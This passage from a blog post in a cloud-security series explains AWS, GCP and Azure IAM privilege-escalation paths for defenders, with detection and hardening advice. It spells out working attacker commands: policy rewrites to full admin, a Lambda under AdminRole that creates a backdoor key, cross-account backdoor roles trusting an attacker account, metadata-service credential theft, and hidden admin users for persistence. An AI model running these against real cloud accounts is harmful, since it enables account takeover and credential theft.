    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <strong>AWS IAM Privilege Escalation</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>Cloud breaches are IAM events — the initial compromise is just the door; the IAM configuration determines how far an attacker goes</li>
<li><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code> is AWS&#8217;s single highest-risk permission — it lets any principal assign any role to any service they can create</li>
<li><code class="" data-line="">iam:CreatePolicyVersion</code> is a one-call path to full account takeover — the attacker rewrites the policy that&#8217;s already attached to them</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> in GCP and <code class="" data-line="">Microsoft.Authorization/roleAssignments/write</code> in Azure are direct equivalents — same threat model, different syntax</li>
<li>Enforce IMDSv2 on EC2; disable SA key creation in GCP; restrict role assignment scope in Azure</li>
<li>Alert on IAM mutations — they are low-volume, high-signal events that should never be silent</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  AWS IAM PRIVILEGE ESCALATION — HOW LIMITED ACCESS BECOMES FULL COMPROMISE

  Initial credential (exposed key, SSRF to IMDS, phished session)
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  DISCOVERY (read-only, often undetected)                        │
  │  get-caller-identity · list-attached-policies · get-policy     │
  │  Result: attacker maps their permission surface in &lt; 15 min    │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  PRIVILEGE ESCALATION — pick one path that&#039;s open:             │
  │                                                                 │
  │  iam:CreatePolicyVersion  →  rewrite your own policy to *:*    │
  │  iam:PassRole + lambda    →  invoke code under AdminRole       │
  │  iam:CreateRole +                                              │
  │    iam:AttachRolePolicy   →  create and arm a backdoor role    │
  │  iam:UpdateAssumeRolePolicy → hijack an existing admin role    │
  │  SSRF → IMDS              →  steal instance role credentials   │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  PERSISTENCE (before incident response begins)                  │
  │  Create hidden IAM user · cross-account backdoor role          │
  │  Add personal account at org level (GCP)                       │
  │  These survive: password resets, key rotation, even            │
  │  deletion of the original compromised credential               │
  └─────────────────────────────────────────────────────────────────┘
         │
         ▼
  Impact: data exfiltration · destruction · ransomware · mining
</code></pre>
<p>AWS IAM privilege escalation follows a consistent pattern across almost every significant cloud breach: a limited initial credential, a chain of IAM permissions that expand access, and damage that&#8217;s proportional to how much room the IAM design gave the attacker to move. This episode maps the paths — as concrete techniques with specific permissions, because defending against them requires understanding exactly what they exploit.</p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>AWS IAM privilege escalation turns misconfigured permissions into full account compromise — and the entry point is rarely the attack that matters. In 2019, Capital One suffered a breach that exposed over 100 million customer records. The attacker didn&#8217;t find a zero-day. They exploited an SSRF vulnerability in a web application firewall, reached the EC2 instance metadata service, retrieved temporary credentials for the instance&#8217;s IAM role, and found a role with <code class="" data-line="">sts:AssumeRole</code> permissions that let it assume a more powerful role. That more powerful role had access to S3 buckets containing customer data.</p>
<p>The SSRF got the attacker a foothold. The IAM design determined how far they could go.</p>
<p>This is the pattern across almost every significant cloud breach: a limited initial credential, followed by a privilege escalation path through IAM, followed by the actual damage. The damage is determined not by the sophistication of the initial compromise but by how much room the IAM configuration gives an attacker to move.</p>
<p>This episode maps the paths. Not as theory — as concrete techniques with specific permissions, because understanding exactly what an attacker can do with a specific IAM misconfiguration is the only way to prioritize what to fix. The defensive controls are listed alongside each path because that&#8217;s where they&#8217;re most useful.</p>
<hr />
<h2 id="the-attack-chain">The Attack Chain</h2>
<p>Most cloud account compromises follow a consistent pattern:</p>
<pre><code class="" data-line="">Initial Access
  (compromised credential — exposed access key, SSRF to IMDS,
   compromised developer workstation, phished IdP session)
    │
    ▼
Discovery
  (what am I? what can I do? what can I reach?)
    │
    ▼
Privilege Escalation
  (use existing permissions to gain more permissions)
    │
    ▼
Lateral Movement
  (access other accounts, services, resources)
    │
    ▼
Persistence
  (create backdoor identities that survive credential rotation)
    │
    ▼
Impact
  (data exfiltration, destruction, ransomware, crypto mining)
</code></pre>
<p>Understanding this chain tells you where to put defensive controls. You can cut the chain at any link. The earlier the better — but it&#8217;s better to have multiple cuts than to assume a single control holds.</p>
<hr />
<h2 id="phase-1-discovery-an-attackers-first-steps">Phase 1: Discovery — An Attacker&#8217;s First Steps</h2>
<p>The moment an attacker has any cloud credential, they enumerate. This is low-noise, uses only read permissions, and in many environments goes completely undetected:</p>
<pre><code class="" data-line=""># AWS: establish identity
aws sts get-caller-identity
# Returns: Account, UserId, Arn — tells the attacker what they&#039;re working with

# Enumerate attached policies
aws iam list-attached-user-policies --user-name alice
aws iam list-user-policies --user-name alice
aws iam list-groups-for-user --user-name alice
aws iam list-attached-role-policies --role-name LambdaRole

# Read the actual policy document
aws iam get-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevAccess \
  --version-id v1

# Survey what&#039;s accessible
aws s3 ls
aws ec2 describe-instances --output table
aws secretsmanager list-secrets
aws ssm describe-parameters
</code></pre>
<pre><code class="" data-line=""># GCP: establish identity and permissions
gcloud auth list
gcloud projects get-iam-policy PROJECT_ID --format=json | \
  jq &#039;.bindings[] | select(.members[] | contains(&quot;compromised-sa@project.iam.gserviceaccount.com&quot;))&#039;

# Test specific permissions
gcloud projects test-iam-permissions PROJECT_ID \
  --permissions=&quot;storage.objects.list,iam.roles.create,iam.serviceAccountKeys.create&quot;
</code></pre>
<pre><code class="" data-line=""># Azure: establish context
az account show
az role assignment list --assignee alice@company.com --all --output table
</code></pre>
<p>All of this is read-only. In most environments I&#8217;ve reviewed, there are no alerts on this activity unless the calls come from an unusual IP or at an unusual time. An attacker comfortable with the AWS CLI can map the permission surface of a compromised credential in 10–15 minutes.</p>
<hr />
<h2 id="aws-privilege-escalation-paths">AWS Privilege Escalation Paths</h2>
<h3 id="path-1-iamcreatepolicyversion">Path 1: iam:CreatePolicyVersion</h3>
<p>The most direct path. If a principal can create a new version of a policy attached to themselves, they can rewrite it to grant anything.</p>
<pre><code class="" data-line=""># Attacker has iam:CreatePolicyVersion on a policy attached to their own role
aws iam create-policy-version \
  --policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [{&quot;Effect&quot;: &quot;Allow&quot;, &quot;Action&quot;: &quot;*&quot;, &quot;Resource&quot;: &quot;*&quot;}]
  }&#039; \
  --set-as-default
# Result: DevPolicy now grants AdministratorAccess to everyone with it attached
</code></pre>
<p>The attacker doesn&#8217;t need to create new infrastructure. They inject admin access directly into their existing permission set. This is often undetected by basic monitoring because <code class="" data-line="">CreatePolicyVersion</code> is a low-frequency legitimate operation.</p>
<p><strong>Defence:</strong> Alert on every <code class="" data-line="">CreatePolicyVersion</code> call. Restrict the permission to a dedicated break-glass IAM role. Use permissions boundaries on developer roles to cap the maximum permissions they can ever hold.</p>
<h3 id="path-2-iampassrole-service-creation">Path 2: iam:PassRole + Service Creation</h3>
<p><code class="" data-line="">iam:PassRole</code> allows an identity to assign an IAM role to an AWS service. This is legitimate and necessary — it&#8217;s how you configure &#8220;this Lambda function runs with this role.&#8221; The attack vector: if a more powerful role exists in the account, and the attacker can pass it to a service they control and invoke that service, they operate with the more powerful role&#8217;s permissions.</p>
<pre><code class="" data-line=""># Attacker has: lambda:CreateFunction + iam:PassRole + lambda:InvokeFunction
# They know an existing AdminRole exists (discovered during enumeration)

# Create a Lambda that runs with AdminRole
aws lambda create-function \
  --function-name exfil-fn \
  --runtime python3.12 \
  --role arn:aws:iam::123456789012:role/AdminRole \
  --handler index.handler \
  --zip-file fileb://payload.zip

# Invoke — code now executes with AdminRole&#039;s permissions
aws lambda invoke --function-name exfil-fn /tmp/output.json
</code></pre>
<pre><code class="" data-line="">import boto3

def handler(event, context):
    # Running as AdminRole
    s3 = boto3.client(&#039;s3&#039;)
    buckets = s3.list_buckets()

    # Create a backdoor access key while we have elevated access
    iam = boto3.client(&#039;iam&#039;)
    key = iam.create_access_key(UserName=&#039;backdoor-user&#039;)

    return {&quot;buckets&quot;: [b[&#039;Name&#039;] for b in buckets[&#039;Buckets&#039;]], &quot;key&quot;: key}
</code></pre>
<p><strong>Defence:</strong> Scope <code class="" data-line="">iam:PassRole</code> to specific role ARNs — never <code class="" data-line="">Resource: *</code>. Example:</p>
<pre><code class="" data-line="">{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;iam:PassRole&quot;,
  &quot;Resource&quot;: &quot;arn:aws:iam::123456789012:role/LambdaExecutionRole-*&quot;
}
</code></pre>
<h3 id="path-3-iamcreaterole-iamattachrolepolicy">Path 3: iam:CreateRole + iam:AttachRolePolicy</h3>
<p>If an attacker can both create a role and attach policies to it, they create a backdoor identity:</p>
<pre><code class="" data-line=""># Create a role with a trust policy naming an attacker-controlled principal
aws iam create-role \
  --role-name BackdoorRole \
  --assume-role-policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [{
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::ATTACKER_ACCOUNT:root&quot;},
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }]
  }&#039;

# Attach AdministratorAccess
aws iam attach-role-policy \
  --role-name BackdoorRole \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Assume it from the attacker&#039;s account — persistent cross-account access
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/BackdoorRole \
  --role-session-name persistent-access
</code></pre>
<p>This is persistence, not just escalation — the backdoor survives password resets, access key rotation, even deletion of the original compromised credential.</p>
<h3 id="path-4-iamupdateassumerolepolicy">Path 4: iam:UpdateAssumeRolePolicy</h3>
<p>If an existing high-privilege role already exists, modifying its trust policy to allow the attacker&#8217;s principal is faster and quieter than creating a new role:</p>
<pre><code class="" data-line=""># Add attacker&#039;s principal to the trust policy of an existing AdminRole
aws iam update-assume-role-policy \
  --role-name ExistingAdminRole \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {&quot;Effect&quot;: &quot;Allow&quot;, &quot;Principal&quot;: {&quot;Service&quot;: &quot;ec2.amazonaws.com&quot;}, &quot;Action&quot;: &quot;sts:AssumeRole&quot;},
      {&quot;Effect&quot;: &quot;Allow&quot;, &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::123456789012:user/attacker&quot;}, &quot;Action&quot;: &quot;sts:AssumeRole&quot;}
    ]
  }&#039;
</code></pre>
<p>The original entry remains intact. A casual review might miss the addition. Trust policy changes should be critical-priority alerts.</p>
<h3 id="path-5-ssrf-to-ec2-instance-metadata">Path 5: SSRF to EC2 Instance Metadata</h3>
<p>The Capital One path. Any SSRF vulnerability in a web application running on EC2 can retrieve the instance role&#8217;s credentials from the metadata service:</p>
<pre><code class="" data-line="">Attacker → SSRF → GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ Returns role name
→ GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyAppRole
→ Returns: AccessKeyId, SecretAccessKey, Token (valid up to 6 hours)
</code></pre>
<p><strong>Defence:</strong> IMDSv2 requires a PUT request first, blocking simple GET-based SSRF:</p>
<pre><code class="" data-line=""># Enforce IMDSv2 at instance launch
aws ec2 run-instances \
  --metadata-options HttpTokens=required,HttpPutResponseHopLimit=1

# Enforce org-wide via SCP
{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: &quot;ec2:RunInstances&quot;,
  &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
  &quot;Condition&quot;: {
    &quot;StringNotEquals&quot;: {&quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;}
  }
}
</code></pre>
<h3 id="high-risk-aws-permissions-reference">High-Risk AWS Permissions Reference</h3>
<table>
<thead>
<tr>
<th>Permission</th>
<th>Why It&#8217;s Dangerous</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code></td>
<td>Assign any role to any service — enables immediate privilege escalation</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreatePolicyVersion</code></td>
<td>Rewrite any policy to grant anything — full account takeover in one API call</td>
</tr>
<tr>
<td><code class="" data-line="">iam:AttachRolePolicy</code></td>
<td>Attach AdministratorAccess to any role</td>
</tr>
<tr>
<td><code class="" data-line="">iam:UpdateAssumeRolePolicy</code></td>
<td>Add any principal to any role&#8217;s trust policy</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreateAccessKey</code> on other users</td>
<td>Create persistent credentials for any IAM user</td>
</tr>
<tr>
<td><code class="" data-line="">lambda:UpdateFunctionCode</code> on privileged Lambda</td>
<td>Inject malicious code into an elevated function</td>
</tr>
<tr>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> with <code class="" data-line="">Resource: *</code></td>
<td>Read every secret in the account</td>
</tr>
<tr>
<td><code class="" data-line="">ssm:GetParameter</code> with <code class="" data-line="">Resource: *</code></td>
<td>Read all Parameter Store values — often contains credentials</td>
</tr>
<tr>
<td><code class="" data-line="">iam:CreateRole</code> + <code class="" data-line="">iam:AttachRolePolicy</code></td>
<td>Create and arm a backdoor role</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="gcp-privilege-escalation-paths">GCP Privilege Escalation Paths</h2>
<h3 id="iamserviceaccountsactas">iam.serviceAccounts.actAs</h3>
<p>GCP&#8217;s equivalent of <code class="" data-line="">iam:PassRole</code> — and broader. Allows an identity to make any GCP service act as a specified service account:</p>
<pre><code class="" data-line=""># Attacker has iam.serviceAccounts.actAs on an admin SA
gcloud --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com \
  iam roles list --project=my-project

# Generate a full access token and call any GCP API as admin-sa
gcloud auth print-access-token \
  --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com
</code></pre>
<h3 id="iamserviceaccountkeyscreate">iam.serviceAccountKeys.create</h3>
<p>Converts a short-lived identity into a persistent one. Create a key for an admin service account and you have indefinite access:</p>
<pre><code class="" data-line="">gcloud iam service-accounts keys create admin-key.json \
  --iam-account=admin-sa@project.iam.gserviceaccount.com
# Valid until explicitly deleted — no expiry by default

# Block this at org level
gcloud org-policies set-policy --organization=ORG_ID - &lt;&lt; &#039;EOF&#039;
name: organizations/ORG_ID/policies/iam.disableServiceAccountKeyCreation
spec:
  rules:
    - enforce: true
EOF
</code></pre>
<hr />
<h2 id="azure-privilege-escalation-paths">Azure Privilege Escalation Paths</h2>
<h3 id="microsoftauthorizationroleassignmentswrite">Microsoft.Authorization/roleAssignments/write</h3>
<p>If an identity can write role assignments, it can grant itself Owner at any scope it can write to:</p>
<pre><code class="" data-line="">az role assignment create \
  --assignee attacker@company.com \
  --role &quot;Owner&quot; \
  --scope /subscriptions/SUB_ID
</code></pre>
<h3 id="managed-identity-assignment">Managed Identity Assignment</h3>
<p>Attach a high-privilege managed identity to a VM the attacker controls, then retrieve its token via IMDS:</p>
<pre><code class="" data-line="">az vm identity assign \
  --name attacker-vm --resource-group rg-attacker \
  --identities /subscriptions/SUB/resourcegroups/rg-prod/providers/\
Microsoft.ManagedIdentity/userAssignedIdentities/admin-identity

# From inside the VM
curl &#039;http://169.254.169.254/metadata/identity/oauth2/token\
?api-version=2018-02-01&amp;resource=https://management.azure.com/&#039; \
  -H &#039;Metadata: true&#039;
</code></pre>
<hr />
<h2 id="persistence-how-attackers-outlast-incident-response">Persistence — How Attackers Outlast Incident Response</h2>
<pre><code class="" data-line=""># AWS: hidden IAM user with admin access
aws iam create-user --user-name svc-backup-01
aws iam attach-user-policy \
  --user-name svc-backup-01 \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-backup-01
# Valid until manually deleted — survives key rotation on other identities

# AWS: cross-account backdoor — hardest to find during IR
aws iam create-role --role-name svc-monitoring-role \
  --assume-role-policy-document &#039;{
    &quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::ATTACKER_ACCOUNT:root&quot;},
    &quot;Action&quot;: &quot;sts:AssumeRole&quot;
  }&#039;
aws iam attach-role-policy --role-name svc-monitoring-role \
  --policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess

# GCP: add personal account at org level — survives project deletion
gcloud organizations add-iam-policy-binding ORG_ID \
  --member=&quot;user:attacker@gmail.com&quot; --role=&quot;roles/owner&quot;
</code></pre>
<p>Cross-account backdoors are particularly resilient — incident responders often focus on the compromised account without auditing trust relationships with external accounts.</p>
<hr />
<h2 id="detection-what-to-alert-on">Detection — What to Alert On</h2>
<table>
<thead>
<tr>
<th>Activity</th>
<th>Event to Watch</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>Role trust policy modified</td>
<td><code class="" data-line="">UpdateAssumeRolePolicy</code></td>
<td>Critical</td>
</tr>
<tr>
<td>New IAM user created</td>
<td><code class="" data-line="">CreateUser</code></td>
<td>High</td>
</tr>
<tr>
<td>Policy version created</td>
<td><code class="" data-line="">CreatePolicyVersion</code></td>
<td>High</td>
</tr>
<tr>
<td>Policy attached to role</td>
<td><code class="" data-line="">AttachRolePolicy</code>, <code class="" data-line="">PutRolePolicy</code></td>
<td>High</td>
</tr>
<tr>
<td>SA key created (GCP)</td>
<td><code class="" data-line="">google.iam.admin.v1.CreateServiceAccountKey</code></td>
<td>High</td>
</tr>
<tr>
<td>Role assignment at subscription scope (Azure)</td>
<td><code class="" data-line="">roleAssignments/write</code> at <code class="" data-line="">/subscriptions/</code></td>
<td>Critical</td>
</tr>
<tr>
<td>CloudTrail logging disabled</td>
<td><code class="" data-line="">StopLogging</code>, <code class="" data-line="">DeleteTrail</code></td>
<td>Critical</td>
</tr>
<tr>
<td><code class="" data-line="">GetSecretValue</code> at unusual hours</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code></td>
<td>Medium</td>
</tr>
</tbody>
</table>
<p>IAM events are low-volume in most accounts. That makes anomaly detection straightforward — a spike in IAM API calls outside business hours from an unusual principal is a strong signal. Configure the critical-priority events as real-time alerts, not just logged events.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<pre><code class="" data-line="">╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 1 — &quot;We have SCPs, so individual role permissions       ║
║       don&#039;t matter as much&quot;                                          ║
║                                                                      ║
║  SCPs set the ceiling. If an SCP allows iam:PassRole, any role      ║
║  with that permission can exploit it regardless of how &quot;scoped&quot;     ║
║  the SCP looks. SCPs and role-level permissions both need to be     ║
║  reviewed — they are independent layers.                            ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 2 — Permissions boundary doesn&#039;t stop iam:PassRole     ║
║                                                                      ║
║  A permissions boundary caps what a role can do directly. It does   ║
║  NOT prevent that role from passing a more powerful role to a       ║
║  Lambda or EC2. iam:PassRole escalation bypasses the boundary       ║
║  because the attacker is operating through the service, not         ║
║  directly through the bounded role.                                 ║
║                                                                      ║
║  Fix: scope iam:PassRole to specific ARNs regardless of whether     ║
║  a permissions boundary is in place.                                ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 3 — CloudTrail doesn&#039;t log data plane events by default ║
║                                                                      ║
║  S3 object reads (GetObject), Secrets Manager reads (GetSecretValue)║
║  and SSM GetParameter are data events — not logged by CloudTrail   ║
║  unless you explicitly enable Data Events. An attacker exfiltrating ║
║  data via these calls leaves no trace in a default CloudTrail       ║
║  configuration.                                                      ║
║                                                                      ║
║  Fix: enable S3 and Lambda data events in CloudTrail. At minimum    ║
║  enable logging for secretsmanager:GetSecretValue.                  ║
╚══════════════════════════════════════════════════════════════════════╝
</code></pre>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line="">┌──────────────────────────────────┬──────────────────────────────────────────────────────┐
│ Permission                       │ Escalation Path                                      │
├──────────────────────────────────┼──────────────────────────────────────────────────────┤
│ iam:CreatePolicyVersion          │ Rewrite your own policy to grant *:*                 │
│ iam:PassRole (Resource: *)       │ Assign AdminRole to a Lambda/EC2 you control         │
│ iam:CreateRole+AttachRolePolicy  │ Create and arm a backdoor cross-account role         │
│ iam:UpdateAssumeRolePolicy       │ Hijack existing admin role&#039;s trust policy            │
│ iam.serviceAccounts.actAs (GCP)  │ Impersonate any service account including admins     │
│ iam.serviceAccountKeys.create    │ Generate permanent key for any SA                    │
│ roleAssignments/write (Azure)    │ Assign Owner to yourself at subscription scope       │
└──────────────────────────────────┴──────────────────────────────────────────────────────┘

Defensive commands:
┌────────────────────────────────────────────────────────────────────────────────────────┐
│  # AWS — find all roles with iam:PassRole on Resource: *                              │
│  aws iam list-policies --scope Local --query &#039;Policies[*].Arn&#039; --output text | \     │
│    xargs -I{} aws iam get-policy-version \                                            │
│      --policy-arn {} --version-id v1 --query &#039;PolicyVersion.Document&#039;                │
│                                                                                        │
│  # AWS — check who can assume a given role                                            │
│  aws iam get-role --role-name AdminRole \                                             │
│    --query &#039;Role.AssumeRolePolicyDocument&#039;                                            │
│                                                                                        │
│  # AWS — simulate whether a principal can CreatePolicyVersion                        │
│  aws iam simulate-principal-policy \                                                  │
│    --policy-source-arn arn:aws:iam::ACCOUNT:role/DevRole \                           │
│    --action-names iam:CreatePolicyVersion \                                           │
│    --resource-arns arn:aws:iam::ACCOUNT:policy/DevPolicy                             │
│                                                                                        │
│  # GCP — check who has actAs on a service account                                    │
│  gcloud iam service-accounts get-iam-policy SA_EMAIL \                               │
│    --format=json | jq &#039;.bindings[] | select(.role==&quot;roles/iam.serviceAccountUser&quot;)&#039;  │
│                                                                                        │
│  # GCP — list service account keys (find persistent backdoors)                       │
│  gcloud iam service-accounts keys list --iam-account=SA_EMAIL                        │
│                                                                                        │
│  # Azure — list all role assignments at subscription scope                           │
│  az role assignment list --scope /subscriptions/SUB_ID --output table                │
└────────────────────────────────────────────────────────────────────────────────────────┘
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 6 — Security Assessment and Testing</td>
<td>IAM attack paths are the foundation of cloud penetration testing and access review methodology</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Defensive IAM design requires understanding offensive technique — you cannot protect paths you don&#8217;t know exist</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.8 Management of technical vulnerabilities</td>
<td>IAM misconfigurations are technical vulnerabilities — identifying and remediating privilege escalation paths</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.16 Monitoring activities</td>
<td>Detection signals and alerting on IAM mutations as part of continuous monitoring</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.1</td>
<td>Threat and vulnerability identification — this episode maps the threat model for cloud IAM</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Understanding attack paths informs the design of logical access controls that actually hold</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Cloud breaches are IAM events — the initial compromise is just the door; IAM misconfigurations determine how far an attacker can go</li>
<li><code class="" data-line="">iam:PassRole</code> with <code class="" data-line="">Resource: *</code> is AWS&#8217;s highest-risk single permission — scope it to specific role ARNs or the escalation paths multiply</li>
<li><code class="" data-line="">iam:CreatePolicyVersion</code> and <code class="" data-line="">iam:UpdateAssumeRolePolicy</code> are privilege escalation and persistence primitives — restrict them to dedicated admin roles</li>
<li><code class="" data-line="">iam.serviceAccounts.actAs</code> in GCP and <code class="" data-line="">roleAssignments/write</code> in Azure are direct equivalents — same threat model, cloud-specific syntax</li>
<li>Enforce IMDSv2 on EC2; disable SA key creation org-wide in GCP; restrict role assignment scope in Azure</li>
<li>Enable CloudTrail Data Events — default logging misses S3 reads, Secrets Manager reads, and SSM GetParameter calls entirely</li>
<li>Alert on IAM mutations — low-volume, high-signal events that should never go unmonitored</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>You now know how attackers move through misconfigured IAM. <a href="/iam-least-privilege-audit/">AWS least privilege audit</a> is the defensive counterpart — using Access Analyzer, GCP IAM Recommender, and Azure Access Reviews to find and right-size over-permissioned access before an attacker does. The goal: get from wildcard policies to scoped, auditable permissions without breaking production.</p>
<p><em>Next: <a href="/iam-least-privilege-audit/">AWS Least Privilege Audit: From Wildcard Permissions to Scoped Policies</a></em></p>
<p>Get EP09 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&amp;linkname=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-iam-privilege-escalation%2F&#038;title=AWS%20IAM%20Privilege%20Escalation%3A%20How%20iam%3APassRole%20Leads%20to%20Full%20Compromise" data-a2a-url="https://linuxcent.com/cloud-iam-privilege-escalation/" data-a2a-title="AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise"></a></p><p>The post <a href="https://linuxcent.com/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-iam-privilege-escalation/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1495</post-id>	</item>
		<item>
		<title>OIDC Workload Identity: Eliminate Cloud Access Keys Entirely</title>
		<link>https://linuxcent.com/workload-identity-oidc-service-accounts/</link>
					<comments>https://linuxcent.com/workload-identity-oidc-service-accounts/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 17 Apr 2026 17:23:34 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[EKS]]></category>
		<category><![CDATA[GKE]]></category>
